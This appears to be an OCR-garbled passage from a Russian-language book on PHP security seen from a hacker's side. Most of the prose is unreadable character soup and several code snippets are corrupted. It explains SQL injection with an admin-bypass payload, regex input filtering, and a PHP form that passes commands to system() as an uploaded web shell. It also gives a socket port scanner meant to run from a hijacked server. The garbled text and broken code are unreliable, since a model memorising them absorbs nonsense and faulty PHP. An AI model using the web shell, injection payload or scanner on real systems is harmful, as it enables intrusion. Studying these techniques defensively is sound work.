‘Hanvcats wnkt oTipasiH 13 1000 IHGEM MOKHO 32 5 MHHYT.

Con6308aHHE BUTOMAHHOTO CEPBEPa. MOTBOTACT XAKEPY OCTATHGH aHoRWMIM, Tl
300 JOCTATONHO YITPARIATS BUIOMAHHMM Cepnepow w3 Web-Gpaysepa, MOTKTIONAACH
Hepes aHOMMMMHIH MpOKCH-cepBep Win VPN, KOTOphi ckpeiBact peanohii [P-anpec
xakepa.

JAUMATLCS OT TaKINX ATaK Oew’ CTOKHO. MOKHO BisweawTs IP-apec, ¢ KOTOpOro
NIPOMCXOIIT aTaka, H € MONOISIO CeTeROro Jkpana disTposars Tpacx. Ho oTo peue-
HHE MOKET OKISTLCA BPEMCHHbIN, T10TOMY 4T B HIHTEpHETE CAMIIKOM MHOTO CaToB
© HEGESOMACHAIMH CLSHAPHANH, EPE3 KOTOPHE XAKEp MOKET SABTATETh HOBHIM ceppe:
POM I MPOZORHTS aTaky.

Stawin mporpammposaiis inn Web-cepacpa osew yaobwsi i cosans Web-
calfTo, HO TaKKe # SGeKTHBH! B PYKIX Xakepa. TO KaKk IHCTONET, KOTOPHIH MOXET
HCIOTB30BATLCA UTA OGCCTIEHEHHA GESONACHOCTH, HO MOKET CIYAHTS H A4 PaTpyle-
. Ha nepBbii BIr1a, CHTYALUIO MOAHO HCTIPABHTS, €CTH CUEHAPHH CTAHYT B30
Hee, Ho 3 JKE He MOTY ceGe MPEACTABHTS STOT pai. BOpHGa AIMHHHCTPETOPOB H Ipo-
TPAMMHCTOB ¢ XaKEpawH Gy IeT BeHOf, Kak Gopb0a 200pa  371a. XOHETca HATeATECA Ha
To, "o KomMECTBO xaKepon GyeT ymemsaruc. Tlpodecconass 5 oomacTh widop-
MAUHOWHBIX TEXHOTOTHH T HCTIOTB3OBATS CHOW 3HAHHS BO GTAr0 OOUIECTRA, 3 HE
030,
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€T TaGTHa rOAK0BaTeEH Usexs, COCTOSNIAR W TpeX nonel: id, nane, password. 3a-
1pOC Ha BHIGOPKY TAHHX MOXET HMETS CAEIIONIHH BI:

SELECT * FROM Users WHERE id = § GET(id]

B ZGHHOM 3aTIpOCE IOE id CPABHHBACTCA CO IHASEHHEM mepemertoM. Eca 5T niepe-
MeHHas nonysena Kax napamerp cuienapus uepes URL wik cookie  HET Hikakinx po-
BEpOK Ha 3ATpeLEHHBE CHMBOTS, TO 3anpoc ysusw. Haurew ¢ npocTeiero mpumepa
TOTO, KAK XaKEp MOXET MOTHAMLHPOBATS 3ampoc. Baii CuieHapwit WIET B TaGlte CTpo-
Ky ¢ NEPaVETPaMK TIOTSIOBATENS 110 ce WICHTHHKATOPY. A CCTH IEPETATS B KaiecTae
TepeneH Ol $_GETid) CAeRyIouli TEKCT — 10 OR name="Amousicrparop", TO ATOC
Gyner BmirnazeTs yxe Tax:

SELECT + FROM Users

WHERE. 1d = 10 OR name="AmonicTpazop”

JTOT 38POC IOKEKET YKE HE TOABKO 3aMHCH, B KOTOpOH Mofe 14 pasHo 10, Ho  samvc,
B KOTOpOH MM OTBIOBATENA PABHO "Amsuorcrpazos. TaKiM 0OPION, XaKED CMOXET
YRWICTS 12POTh AIMHHHCTPATOPa H TIOMYNINTE AOCTYT K 3ANPEUICHHLIM JQHHEIM.
HrO5 700 He MPOMIONLTO, MPOTPAMMHCTS! HATHHAIOT HTBTPOBATE BXO/HHIE AaHHBIE
‘TeopeTiseckH, 510 paGOTACT, eciTH MPABKTLHO PHTETPOBATS. OIHAKO /U1 STOTO HYAHO
aWaTh, KaK¥e A@HHBIC OXHACT Nporpava. HATpHMEP, Mone id — 5To wHenoBoe more, a
SHANHT, B IEPEMERHOR He MOKET GHTh HHero, Kpowe wibp ot 0 10 9. Tlepementyio
Sname MOAHO OGPAGOTATS, KaK TIOKASAHO B CEAYHOIEM NPHMEDE:
<tom actions"ab1.phy
<input name="id">
</torm>

<zphp
Sidepreg_replace("/(*0-9)/", ", $_GET[*id"]);
print ('SELECT * FROM Users WHERE id=' . $id);

‘Coxparrre 10T Ko Ha ceppepe b daitne dbl.php W nonpoGyire sarpyswTs ero B Web-
‘Gpayaep. Tlepex Bami AOMKHA IORBHTLCH (OPM A BEOTE WICHTHQHKATOPA, TIO KOTO-
powy GyzeT mpoHCXomHTE Movck. TTonpoGyiTe BBECTH B Hee 10 OR nane="Amouvicrparop”
W nepenaTs cepeepy. Cuenapill, MOTySHB TaHHbie, BHITOTHAT CHASATA CTEAYIONIIO
erpoxy:

$idepreg_replace ("/(:0-81/", ", § GET['id']);

3MeCk Mbi SaMEHAEM B TIEPEMEHHOli 51 BCe CHMBOIH, KOTOPHIE He ABTAIOTCR WH(DpaMH
070 109, Ha mycToR cumo. Tlocie STOTO OT CTpOKH, KOTOpYIO B TIEpEAABATH CepB-
DY, OCTAHETA TOIEKO WHCTIO 10, @ BCe AOTIOTHITEbHAE CHMBOTHI GYAYT y1aTeH.

ECTS €tte OWH BAPHAHT COOGHINTS CLEHAPHIO, IO TIEPE HAMM HMEHHO HCTO — Bbi-

"MOAHHTS MpHBeEHHe THTIOB. ECTH B! pAGOTATH C ZYTHMMH S3BIKEMH BHCOKOTO YPOBHS,
TO 07KHEL SHTS O TAKOM TIOHATHH.
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AawHuX oummaeTCs. ECTH O4HIIATS €€ JOCTATONHO HACTO, TO Ha CKOPOCTS PaGoTs! 910
TIOBTHAET LI HESHAUHTELHO, BEth MHOTO YGHPATS He NIPHAETCH.

5.9. PHP & pyxax xakepa

B riocrieaee BPENA A CTAT JANENATh TAKYIO TEHIEHILIO; MHOTHE QIMHHHCTPATOp OT-
KISHBAIOTCR OT HCMOTB30BaHNA A3ka Perl Ha caowx ceppepax. Tlowewy? Jleio B Tow,
w0 5 HiTeprete MHomecTso ciichapwe wa Perl, KoTOpbIE O3BOTSIOT YIIPOCTHTS Xakepy
Butow ceppepa. JLin TOrO {TOGH BOCTIOTIORATCA STHMH CUCHIDHMM, HEOGXOMANO
MNETh MHHHMATHHHIE TIPaBa B CHCTEME.

C apyroii cropons, GhiTyer menwe, 10 PHP Gesonactiee. 1414 Ha paswep KHurH
VHHTHIBS, KaK MHOTO M FOBOPHAM PO GE30MACHOCTD, Bbi TIOHHMACTE, KO 37O MiHEHHE,
MATKO rOBOpS, CriopHOE. B peATBHOCTH, M0G0 A3bIK NPOTPANMHPOBaHIA OTIACEH B Y-
KaX HEOTIBTHORO W HEBHHMATETLHOTO TIDOTPAMMHCTA H TH0GOH A3HIK GE30NACeH B py-
Kax npodeccwonana. Ho ke Mpohecconan MOKET OWHGHTLCS,  GYKBATHHO HEaBHO
5 HOMYCTHI TaKY1O OULVGKY B PEryTAPHOM BHpGREHHH:

Svarepreg_replace (*/(%a-20-9() ~_\nl/i", ™", Svar);

JlarHoe BHIPuKEHHE YIATAET Bee, Kpome GyKE, LGP, CHMBOTOB ( ¥ 1, poGeos, THpe,
‘MOxsepKIBANII} M CHMBONOB MepeROTa CTPOKH. BerTHIf BITAX HE NOKEIHBACT MHKAKIX
OUIMGOK, HO €CH TIPHCMOTPETECA, TO OKAXETCH, SO CHMBOTbI [ | ABTAIOTCH CYXEG-
HbIMM 1 OGBEAMHSIOT HAGOP TOMYCTHMBIX CHBOOB. B JaiHoM CryMae B KBQIpATHHX
CKOGKAX HIYETO HET, a SHANHT, BIPGKEHIIO (] COOTRETCTBYeT HOGOH CHMBOT, CTe0Ba-
TebHO, YHKINA preg_replace () A0COTIOTHO HIYETO He BHpEReT. [TpoGiea peuaeTc
~AoBamnenem oparHoro crew:

Svar=preg_replace (*/(*a~z0-9\[\] = \n}/i% ", Svar);

Hepeaxo nporpaMMieTs: oumGaioTes npi paGoTe ¢ pycckhmi Gyksani. Ecii wamveats,
-4, TO B 9TOT JWATA30H NONAZYT Bce GyKBH KpOMe "&", Iy GyKBy HEOOXOMHMO YKaTbi-
Bami B ABHOM BILC:

Svar-preg_replace(*/(*a-za-s60-9\(\] ~_\nl/i", ™", Svar);

51 n0Ka He BCTpesaICA ¢ TaKol 3aavel, KOTOpYI0 Hets3# Ghuto Gt peamsopats B PHP,
a €CTH OHA BOSHHKAET, TO BCET/1a MOKHO BOCTIONI0BATECA dyHKIMEH systen()

e sutomunk norysn 2octyn & FTP wik a10G0# Apyroi 10¢Tyn k cosaanio daiinon
Ha cepepe, emy GyIET Z0CTATONHO COYATS CleHaph CO CTITYIOLIHAN COTEPAHMBING
<om action=

ysten. php” method-
comand: <input. name="sub_con” />
<br><input type="submit” value="run" />
</tom>

<pre>
<zpnp
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0 oxder — MOPAIIOK PAIMELICHHS CTPOK B PeSYALTHPYIOUIEN MaccuBe. DTOT mapaveTp
MOKET MDHHIMATS JHAUCHIS:

© EREG_PATERN_OROER — HYTEBOF IEMEHT GYIET MACCHBOM TOAHHIX COOTRETCTBMHI
WaG70My. OCTATHHHE ITEMEHTH COOTBETCTBYIOT HATICHHBIN MOICTPOKAM CO-
FABCHO PASGHEHHIO KPYTTBIMH CKOBKaNH;

o PREG_S5T_GROER — PESYSTATH TOHGK® GYAYT HAXOIHTLCH B NACCHBE rat<hes, Ha-
WA ¢ Ry 7RO CHMBOTA

Ec CoOTBETCTBHE HailAeHO, TO GYHKUMA BOIBPATHT true, HHade pesyawTar Gyaet pa-
Ben false,

Bynwuma preg_split()

DywHKuS preg_split () PASHBIET CTPOKY Ha HACTH B COOTBETCTBHM C PEryTADHHIN Bbi-
PAXEHYEM H BOTBPALIAET MACCHS CTPOK, Kak GyHKINS sp1it () 114 PHP. B obutew wie
OHa BAARIHT TK:
azcay preg_split(

string patcemn,

steing subect

int Linie

, int flags]) )

TlocwoTpi Ha napaveTps ymKan:

O pactern — peryuapHoe supaxeriHe;

O subject — CTPOKA, B KOTOpOH MPOHCXOIHT FIOHCK;

O Limic — orpamweHHe KoMIHECTBA HaixeHHbIX SHAvEHI;

O £1ag5 — 32ech MOAHO yKsaTh PREG_SPLIT N0 _Eery. B STOM CyaE byHKUAR bep-
HET TOTEKO HemyCTHie CTPOKH

3.6.5. Tlpoeepka e-mail

JIOGTATONHO NOMYIAHAS 58184, © KOTOPOH TIPHXORHTCA CTATKHBATECA B MOBCEHEBHOM
KA3HW, — MIPOBEPK KOPpEKTHOCTH €-mail-azpeca. M He Gylen IpOBEPATS, cylecTay-
T a1 Taxolt a1pec W HeT, A2 W He HyAHo 3T0. B GOTBIMHCTBE CyNacD BOTHE A0CTa-
TONHO TPOBEPHTS, HTOGH OPMAT CTPOKH COOTBETCTBOBAT OPMATY €-mail.

Moo wenonssonars perysproe nwipaee. B HHTEpHETe MHOTO roTossix peweni
B PHP TOKe €CTb (GyHKLIU, KOTOPES MOKET HAM TIOMONS — £i1tex.vaz ), 4 PEKOMEH-
Y10 HeroTs308aTh ee. BOT IPHMEP €€ HCTIOTH30RIHHS:
senai) = 5 GET("enat1";
i€ (1filter var(Semail, FILTER VALIOATE BAATL)) {

s try—
)
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Bywkuma preg_match()
DYHKIMS HILET B CTPOKE COOTBETCTBHE PEryIAPHOMY BHPIKEHHIO, KAk BYHKINS ereq ()
7 peryaspHsIX Betpakesti PHP. B OGIleM BIAAC OHa BTIAUIT CEAVIOIIM OGPIOM:
inc preg maten(

string patcern,

string subject

(. aczay matches) )

'Y QHKILHH TPH TIAAMETPG, IEPBHIE 150 W3 KOTOPHIX ABTAIOTCA OGA3ATEbHEINH:
O pattern — peryaapHoe BupaXerte;
O subject — CTPOKS, B KOTOPOH NPOHCXOTHT MOHCK;

O natches — NepeMeHHaR, B KOTOPYI0 GYAET OMELIEH MACCHB HAIEHHIX SHaUEHHH.
ECTH peryaspoe BHPEXEHHe Pa3OHTO Ha HACTH C MOMOUISIO KPYTTHX CKOGOK, TO
CTPOKE PIGHBACTCH b COOTBETCTBH C PETyINHIIM BPZKEHHCM 1 MOMEWACTES
B Maccus. Hy1eBOH 27eMeHT MACCHBA — KOTTHS CTPOKH.

Ia dyKina ouens YOG 1% TPOBEpKI, COOTRETCTBYET M (paikn OMpeEnEHHOMY

waGnowy. Hanpwwep, eciw Bbi XOTHTE NPOBEPHTE COOTBETCTBHE MEPEMERHOM Sserver

a0y TEKTPOHHOTO IOTOBOTO A7PECa, TO MOAHO BHIOTHHTS CEAYIOLIHH Ko:

$r=preg_matcn(
"/ [a-2A-20-9\.
sserver)

ie (15n)
die("ouiOKa gopuata nouToRoRO AEBKA")

140 (a-2A-20-9\. -1+ (\. [a-2A-20-914)*3/",

Zywkums preg_match_all()

YHKUNA preq_natch_all () PAGOTAET KaK pre_ratch (), HO IDH STOM NOSBOTAET SA1ATS
TIOPATOK, B KOTOpOM HILYTCR COOTBETCTBYIOUIHE WAGTIOHY IOZCTpOKH. B oBiliew BHzE
I —
int. preq_natch_all(

string patcerm,

string subject,

axzay matches

t, int oxder) )

'V bYHKUAH HETHPE NEPAMETPA, IEPBHIE TPH W3 KOTOPHIX ABIIOTCH OGHITEBHBIMMH:
O patcern — peryIApHoE BHpPIKEHHE;
O subject — CTPOKS, B KOTOpOMi MPOHCXOTHT TIOHCK;

O ratches — MepeMEHNA, B KOTOPYIO GYIET TIOMEIIEH MaccHb HaHTeHHHX sHaseHHi.
ECTH Pery1RpHOE. BHPKEHE PAIGHTO Ha HacTH C TIONOLIbIO KPYFIBIX CKOGOK, TO
KK 37EMEHT MacoHBa GYET CONEpRATS HAHAEHHOE COOTBETCTBHE OMpeeeHtiol
GKOGKE PEryAPHOTO BHIDKEHHS;
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3.6.6. CoseTil MO MCNONL3OBAHUIO

PerynapHLIX BEIPAXeHUA

HenonsayiiTe peryaspiie BHPOKens /1% MpOBEPK BBOTHMAIX NOTSIOBATENEM Jah-
HBOX WIH 1% OCYILIECTRIEHHA 3aMeHbi. KaKo# HMEHHO METON BHGPAT, JaBHCHT OT 1t~
e mpeanowTenH 1 curyauaw. Hioria yxoOHee W npowe Hanwcars PHP-peryaspHoe

Bupaxcrie, a oz Perl. BGHPATE T0, "o baw HABHTCA W B TysIlc HaCTE, ccn
IpH 3TOM OBECTICHHBAIOTER BCE HEOGXOTHMBE NPOBEPKH

Onmaass 2 Bizen, Kax wa ssike Basic Gbu1a COVIaH BETHKOTENHAR MPOTPANMA, KOTO-
PaS PeaTa CIOKHHE 3314, ITO HEKYCCTBO, IOTOMY 4TO MPOTPAMMICT XOpOLIO JHaeT
CBOE 71710 M C TIOMOLISIO NPOCTOTO A3HIKA HaLIEN peieHHe.

[ECTH MOAHO pelTh a7y perynspHsivi BbpakeHiaxi PHP 1 Bt WX OCBOWIH B 10¢-
TaTouHO CTeNeHH, TO pHMEHSIITE WX W He MbITalfTech HCoTb30BaTS Perl TOTHKO 1333

rO, 41O ITH WAGTOHS Mo

Jlo npezena ynpouaifre sanady, 4ToGs MeHbiie Ghuia BEpOATHOCTS OUMGHTECH. ECin
BbI JONYCTHTE OMOKY, TO 370 OKEKETCR o4epeano "Iipoii” b saure. Coynasaiire
MAKCHMATSHO AECTKIHE PErY.IAPHHE BHPRKEHIS, HTO0H! Y OMs30BaTENeH GHU10 MeHbilie
BomORHOCTE 1% WMmpoBHsaLH, HeoBX0AHNO EHCTBORATS OT 3anpeTa H GHIBTPO-
BATS BCE HEAETATEHIE CHMBOT.

3.7. Yro U Kak punLTPOBATHL

B pas0. 3.5 Ml TOBODHIH O TOM, Tie HYKHO (GHABTPOBATS BEOTHMHE MOTG30BATETEN
JaHAHE, W NPWILTA K BHBOTY, STO 3TO IOWAHO MPOHCXOMNTS B clieHapu. Jlaree
(M. may ce) MBI YIHATH 0 TOM, KAKHMH CPEACTBANM MOKET NPOMSBOTHTLCS GHIBTD
LA, W AUTA 9TOTO NOSHAKOMHIHCD © Pery;APHBIMH Beipaxeniavi PHP w Perl. B stow
paIere Mt mepeiieN K PAKTIHECKOH SaCTH i Ha IPHMEPEX YBHINM, §TO H KaK HYAHO
purTpoBaT.

TIpesae “ew Mol HAUHEM PACCMATDHBATE NPHMEDH, HEOXOMMMO HETKO MOHSTH, Kak
GYZET TpOHCXOIHTS PATPELIEHHE Wi SATPET ONPETETEHHHX CHMBOTIOB. BOTBIMHCTED
HASHAIOUUTX TPOTPANMHCTOB GYICT MHCATH PEryIAPHOC BHPIACHHE, B KOTOPOM 3
pelmaloTCs OMpENCICHHbIE CHMBOTH, @ BCE OCTATBHOE GYXET paspemieno. OnbiTHbii
TPOTpaMNHCT, Halieen b Ha Ge30nNaCHOCTS, CTaeT NeHCTBOBATS HA0G0pOT — 3ampe-
waTh Bee, 4TO ABHO HE PaTpeIEHo.

Tlovewy Gesomacnee crexosats, mpamiry "smo we paspeeno, 10 sanpeienc”? Jleno
B TOM, 'T0 TOHO JANPETHTS BCE HEROIMOKHO, H BBl OBFATELHO HTO-TO ynyCTuTe, Ha-
NpHME, BbI XOTHTE pa3pewiTh HerOMb30RaHE TosKo HTML-Teron <s, <1>, <us. it
STOTO MOAHO HAIHCATS PETYIAPHOE BHPEXEHHE, FATPELLEIOULEE BCE OMACHE T

Sideereg_replace ("<SCRIPI>| <VBSCRIPT> | <JAVASCRIZT>", ™", $id);

Ho A€ TapaNTH, TO b IEPESHCAIII B PErY.IAPHOM BHPAKEHIN BCE SaTpeiLeHHse
TerH? A BIPYT 3ABTPA NORBHTCA HOBHIH, KOTOPOTO Her b Criucke? Passiie Web e cTo-
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BOSBPAILAET OUIKGKY, H CIEHAPHH MOKET TPOIOAATS BHTIOTHEHHE, & MOTTKY TS
MOHO NOBTOPHTS NOTKe.

B Otew BMe GYHKLIA socket_set_blocking () BHIAANT CAEIYHOUIAM OGPAION:
int socket_set_blockingint sacket, int mode)

Tlepasif MAPaMETp — COKET, PEXHM KOTOPOO HYAHO HMeHyTS. ECii BTOpoi napavetp
PaBeH true, TO COKET GYJIET GOKHPYIOLIMM, HHAHE HEGAOKHPYIOUIHM.

5.5. CxaHep nopros

Kakoll Gol rpHMep HaM PACCOTPETS, HTOGki OH COOTRTCTBOBAN TEMATHKE KHHTH H IpH
ITOM ZIEMOHCTPHPOB& Ha MPAKTHKE COETIHHERHE C YAMTEHHEM KOMTEOTEpom? Hexonro
yMas, % BHIGPT CKAHED TIOPTOB, KOTOPHIH TIO3BOTACT YSHATH, KAKHE TIOPTS! OTKPHITH Ha
ceppepe, a sHawHT, KakiHe CTYKGH Ha He paGoTaioT. Ho CKaiMpoBaHHE Co CBOETO KOM-
RIIOTEPa CWUIKOM ONACHO, T. K. AAMHMHCTPATOP TIETKO MOXET BHWHCINTS, OTKYAA 1pO-
W0 cKanwpoBatke. TIoITOMY XOpowo Gewio et MMeTs criewapit PHP, KoTopsi
MOAHO SAKHHYTS Ha KakoH-HUGY b cephep B HHTEpHETe 1 HCTIOMKIORATS 218 CKAHHPO-
10 mpecTaner coBol cxarep nopTOs? UToGH YIHATS, OTKPHT MOPT WK HeT, HEal-
XOIMO IOMIBTATEC K HeMy MOAKTIONHTGCA. ECTH OTKTIONERHE POWIOLLIO YI34HO, T0
Ha YIIEHHOM CepBepe KaKas-THGO CTYAGA OTKPBLIA STOT NPT B OAMIGHHH NOAKTIOYe-
. ECIH NOTICTIONEHHE HeYaUH, TO TIOPT 3aKPHIT.

UTOG OCTATHCA HEDWIHMIIN, HALIE BECFO BVIOMIIAK SaXBATHBACT Kakoi-160 Web-
Gepyep b HHTEpHETe, YCTANABIBAET 1 HErO CBOH CUEHaPHTI H TIPOHSBOIIT CKAHWPOD:
HUE C 3TOTO Cephepa, OCTABAACH NPH TOM aHOMMMiHM. JIasalfTe NOCMOTPIM NPHMCD
cucHapws, koTopF ckannpyer nepase 1024 nopa:

<zpnp
for (3i=1; $1<10247 $ivh)
i
$ssocket_create(AF_INET, SOCK_STREAY, 07
Sres=gsocket_connect ($s, "127.0.0.1% $1);
it (sres) (
print ("<p> Mlopr omepuer 1 </p>");
'
)

Bor Takol HeGOTbIOM (PPATMENT KOTA TIOMOTAET XaKEpy TIOTYSHTE MHOTO HHGOpMAILH
06 ynazenow KownbtoTepe. TIpHMep paGoT ClieHapHs:

Tope omegurs 21 (£5p)

Topr omepurs 22 (ssh)

Tlopr omepers 80 (nttp)

‘Terteph ROGMOTPHM, HTO IPOHCXOTHT B ClLEHapHH. 3ATYCKAEM LK, KOTOpHIH GyZeT Bbi-
nomATsGa 07 1 210 1024 pas. BHYTPH AKIA COVIRETCS COKET ¢ NIOMOLIbIO (yHKLIH
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JIA TOMYNeHHS MGHHKX OT YIAICHHOTO KOMITHOTEPA HCMOTKYETCA  yHKums
Socket_read ()

string socket_read(int socket, int length [, int typel)

'V ro hywKium Tatore Tpw napaerpa:

O OTKPHITHIH COKET ¢ YCTAHOBTEHHBIM COCTMHEHHEM, © KOTOPOTO HYAHO HHTATS AaH-
noie;

O KoueCTBO GalfTOB, KOTOpIE Mbi AOTKH TPHHSTS;

3 NG I MAPANETP MOKET MPHHHMATS 040 13 CTEAYIOLIY THatCHI:
© THP_BINARY_READ — GHHAPHOE TEHHE JGHHGIX, KOTOpoe GYACT MPOTOTKATECS,

TI0Ka hyHKIIHS He NOTYHT BCe JQHHNE WIH YKAXINHOE KOTHECTBO GaiToB;

 PHE NORUAL FEAD — CHMBOTBHOE STEHHE AGHINI, KOTOPOE GYAET MPOTOTKETHCS,

TOKa GYHKIHA He TIOTYNHT YKISQHHOS KOIWHECTBO JQHHMX WIH He BOTPETHTEN
N 3 CHMBOTOB: \n (KOHELL CTPOKH) HIH \x (BOSBAT KapeTio).

B KatiecTae PesyI5TaTa Mbi HOTy4aeM CTPOKY JaHHX.

XOTH nocTe Ml MAPAMETp He ABTAETCA OGAATETHHAN, PEKOMEHIYIOT BCEra YKashi-
BT €10 ABHO, 7. K. B pasHbix nepewsx PHP SHASCHUE 10 YWOTHAHHIO 413 ITOTO Napa-
METP MOKET OMEHATHCA. 51 YBepeH, 4O HE TIOEHACTCA, HO BOe K€ GIeIyko 310l pexo-
enaau  ca.

Ynpasnenwe coketamm

'V PHP ecTh e (byHKIDAW, € NOMOILSHO KOTOPHIX BBLNOKETE YNpanTAT cokeran. Tlep-
Bt QYHKI, socket_set_tineout (), NOJBOIAET JAATH MAKCHMATEHOE BPENS OXHII-
WS BLITOTHENKA OTepa:

boolean socket._se_t:

out (int socket, int sec, int mic)
PacemoTpiw napavieTpii oToi hyKun:

O COKeT, NaPAMETPE! KOTOPOTO HYXHO HIMEHHTE;

O KomuecTBo cexynt;

O xommecTao MAKpocexyna.

ECTH B TedeHMe YKASHHOTO BPEMEHH He NPOHCXOT HWKAKAX onepausii mepena-
/MOy EHIR AAHHBIX, COKET IaKPHIBACTCS.

Bropas byHKIIAR, socket_set._blocking (), TIOTBOTSET HIMEHIHTS PERMM PAGOTH COKETa.
Tlo yMO74aHMIo OH PAGOTAET B GIOKHPYIOULEM PEXHME, TIpH KOTOpOM ClieHapii "3axo-
PKHBACTCA" NPH BHTOTHEHHH (YHKIIH socket_accept (). ECTH TIEpeBecT COKeT B te-
GTOKHpPYIOWIIE PEAHN, TO B CTYHaE OTCYTCTBHA COSTMHENHH (YHKIIAA socket_acceps. ()
bepHeT oumGky. Bui MOKCTe TPOMOAHTS BHTIOTHEHHE CEHIPHS H HEPE3 KIKOC-TO
'BPEMS TIOBTOPHT TIOMHITKY NIPHHATHA COEHHEHHA CO CTOPOHbI KTHEHT.

ynruan sems TakKe GTOKHPYIOTES, MOKA KOMITHIOTEp HE MIPHNET BCE HEOGXOTHMSIE
nanvsic. B HEGIOKHPYIOUIEN PEKMME W OTCYTCTBHH AGHHNX GYHKLHA socket_read ()
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[ Tiucriens 2.2, ipuwep nepexniosenus wexay HTMIL n PHP
<emi>

<head>

<title> Vision </title>

</nead>

<body>

5> Hello </p>

<> <2php 1 = 1; print("this is  ");?> </p>
> 1= <7php print(54) 2> </p>

</voay>

<hem>

B zaHHOM npiepe Be CTpouKH conepaat PHP-xon, a octanbiise — HTML-kon. Bet
MOKETE BCTARIATS yHacTKH Koza Ha sssike PHP Tak HACTO, Kak Ba 5T0 HyAHO.

Ho 57 eme He ace. B neppofi crpoke PHP-K01a Mt 0GTARTAEM MEPEMEHHYIO 31, KOTo-
pas GyzeT pasia 1. Uro Taxoe nepewentas? Ha AauHbiHi NOMEHT Ba A0CTATONHO TOHH-
MaTh, 0 370 A4eHKA (HIK OGTACTS) MAMATH /UIA XPAHEHHS OMIDEETEHHLIX IHAYEHHIi
(4HCe, CTPOK M T. 1., C KOTOPHIMH TIOTOM MOAHO IPOH3BOZHT BHIHCTICHHA WIH ApYTHE
ReficTns). TlepeMEHHNE — 3T0 Kak Gbi MATEHEKHE JEMOTAHSHKH © MMHAMH BHYTPH
TSTH KOMITBIOTEPA, B KOTOPHIE MOAHO 3ATIpSTaTs AgHHbIe. HMEHA iepeMeHHbIX HatH-
HaKoTCa ¢ chwBona . HTak, Haia sueiika MaMATH GYIeT HAWHBATECA 51 H CONEPAATS
swasere |

B BTOPOM YHaCTKE KOT& MPOHCKOMHT MeHaTs COTEPATNOTO AHEMKH MaNATH ¢ Hye-
Hew 5.

Kak BHzue, shasenme suedkH NQVATH 51 HHKYAA HE HCUEVTO 1 PABHO |, HECMOTDA Ha
T, ¥TO TIEPEMEHHAR COVIANA B OTHOM MECTE, & HCTIONB30BaNA B APYTOM. Takinw oGpa-
30M, NePEMEHHBIE COXPAHSIOT CBOW IHAHEHHS HA TIPOTRKEHIIH BCETO IOKYMEHTE

EcTs Gostee KOpOTRIIE METO BBECTH SHAYCHHE MiepeMeHHOM:

<= mERRERAAS 7>

BMECTO CI0BA TEPEMEHAT MOXHO YKASHIBATS WA Tiepemerto, i PHP npocTo susezer
aseHMe nepemenHON. Ko BHIILE Ml MOTTH Gt MEPETHCATS ¢ HCTIOTHIOBAHHEM TOTO.
KOPOTKOFO BAPHAHTa CEAYIONIM OGPaION:

<> tello </p>

<> <2php $i = 1; print("this is 117> </p>

> 4= <51 2> </p>

Ha MOH B3IIIAL, STOT BAPHAHT BHATHT OYEHS, STETRITHO.

2.2. TloakntoueHue aiinos

'MHoroxpaTHoe Meros30BaHHE KO — BesHas MpOGTEMa 1A HOGOTO MPOTPAMMHCTA.
Korza Mt paspaGaTHiBaen: HOBBI TPOEKT, TO HaM a0COTIOTHO HEWHTEPECHO ewaTs Te
ke IPOGAENsI, KOTOpHie Gui7i YAk PelicHs! IpH PEATH3ALIM APYTOTO MpOeKTa. Bbuto bt
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socket_create(). Ckawnponatscs Gyayr moprei mimepuer-npotokona TCP, mosTowy
B KAUECTRE NIEPBOTO NIAPAMETPA NIEPEAGEN AF_INET (YKAIHIBACT Ha HEOOXOTHMOCTS HC-
TIOTH30BaHHA WHTEPHET-NPOTOKOTa). BTOpOM TIapANETp pabest S0CK STREA, 4TO COOT-
BeTcTayer cemeiicTay npotokonon TCP. Tperiii napaverp oGyen

Ha CenyloUieM STane MHTACMCA COCTMHHTECA ¢ TIOPTOM $: ¢ TOMOUISKO (YHKILH
socket_connect (). ECH COETHHEHHE HEBOIMOKHO, TO (BYHKLIA BEPHET OLIHOKY, KOTO-
‘pas GyeT oToGpaKena Ha opwe. UroGsi MoAaBHTE cooBieHHe 05 OMGKe, NEper e~
Hes (YHKLUH IOCTaBHM CHMBOD . Pesy THTaT BHITOTHEHHS YHKILAH COXPARSETS B Ne-
peMenHON sres

‘Teneps, nposepim pesyaTar. ECAH OH paben true, TO OPT OTKPH, MOITOMY BHBOTHM
Ha SKpaH COOTBETCTBYROMIEE COOBuLEHHE.

Bt ZOIKHb YHHTHIBATS, STO TaKOE CKAHWPOBIHHE JATEKO e Beeraa pepio. Kpymsie
GAliTH WMEIOT HHTEILIEKTYATbHIE CPECTBA NDEOTOPALEHHS CKAHHPOBAHHS. O TON, Kak
AIMHHWCTPATOpHI SauMILAIOT LinUX-CEpREpH OT CKAHWPOBAHWA MIOPTOB, B MORETE
nposHTaTs B Khre "Linux raasawi xaxepa” [1].

Venoxumun sanavy. Jlasalfre cxenaen Tak, 4oGsi IP-a1pec ONpEIETATCA b Kofe CleHa-
WA, 7. €. 4TOGBI NOTLI0BATENS, MOT MEpEAABATS MR KOMTEAOTEPa. TToMHMO 70T, Gy e
OTOGPEKATS He TOABKO HOMED OTKPHTOTO TIOPTA, HO H €rO M. PAcCMOTDHM MPHNED
Taoro cuenapw:
<zphp
Shost_ip = gethostbyname (. yahoo. con)
for (3im1; $1<=100; $i+4)
«
Ssmsocket_create (AF_INET, SOCK_STRERY, 0);
Sress@socket_connect (55, Shost_ip, $1)
i€ (sxes)
«
Sportnanesgetservbyport (51, "tep");
print ("<P> Mlopr orxger $1. (Sportnane)”);
)
I
PesyIsTaT BhmoTHEHyS CleHap)

Tlopr omeue 21 (£tp)
Tlopr. omepue 80 (heep)

B 5Tow NpHMepe, MpeKe Hem BHIOTHTS WK, Mt onpeaeasen IP-apec ykaanoro
KOMTbIOTEpa ¢ NOMOISIO dYHKIAH gethostbyname (). ECTH NOTSIOBATEIS YKEKET He
MR KOMTIbIOTEpa, & €70 AZPEC, TO (YHKLIAA HIYEro TpeOGPa3oBLIBATS He GY7ET, a Mpo-
10 peprer oTor e IP.

“Tak KaK Mbi B LIMKIIE COEAMIAENMES C OZHHN 1 TEM K€ KOMTTBIOTEPON, TO TG He Ope-
A€ASTH UMA Ha KEKIOM WATe, Bbi30B GYHKAH Gethostbymane ) BHECEH 38 MPETETH
wia.
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3Meck y HaC & NATH NAPAETPO, MEPBHIE 1183 3 KOTOPHIX ABTAIOTCR OGHSATEBHANH

0 IP-a1pec KOMTHIOTEpA, € KOTOPHIM HEOBXOAHMO COCTHMTECS;

3 1Opr, Ha KOTOpOM yATEHHMNI CepBep 3ATyCTIA TpOCTy LHBaNHE;

0 nepencetas, b KOTOpYIO GyeT 3aMCak Ko OWHGKH. B cysac KoppeKTHOM paGorst
